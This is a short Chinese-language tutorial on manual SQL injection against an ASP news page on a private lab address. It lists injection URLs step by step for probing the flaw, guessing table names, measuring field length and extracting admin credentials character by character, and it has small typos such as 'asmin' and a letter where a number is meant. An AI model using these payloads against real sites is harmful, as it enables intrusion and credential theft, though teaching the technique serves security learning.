SQL注入原理-手工注入
SQL注入原理-手工注入
SQL注入即就是通过把SQL密令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,以目标服务器地址:http://192.168.1.3为例
一:查找有注入漏洞的目标站点:http://192.168.1.3:8008
http://192.168.1.3:8008/onews.asp?id=45
http://192.168.1.3:8008/onews.asp?id=45’
http://192.168.1.3:8008/onews.asp?id=45 and 1=1
http://192.168.1.3:8008/onews.asp?id=45 and 1=2
二:(1)猜测表名,在链接末尾添加语句 http://192.168.1.3:8008/onews.asp?id=45 and exists(select*from admin),如果页面正常,说明存在表名admin
(2) 猜测pssword,在链接每位添加语句 http://192.168.1.3:8008/onews.asp?id=45 and exists(select admin from admin)
三、猜测字段的长度:http://192.168.1.3:8008/onews.asp?id=45 and (select top 1 len (admin) from asmin)>*(*表示数字,从1开始,如果到哪个数字页面不能正常,则则说明字段长度为那个数字。
四、猜测ASCII码、字母。http://192.168.1.3:8008/onews.asp?id=45 and (select top 1 asc(mid(admin,1,1)) from admin)>a,在这时显示错误时,则说明可以猜到第一条记录的第一位字符的ASCII码为97,对应为a.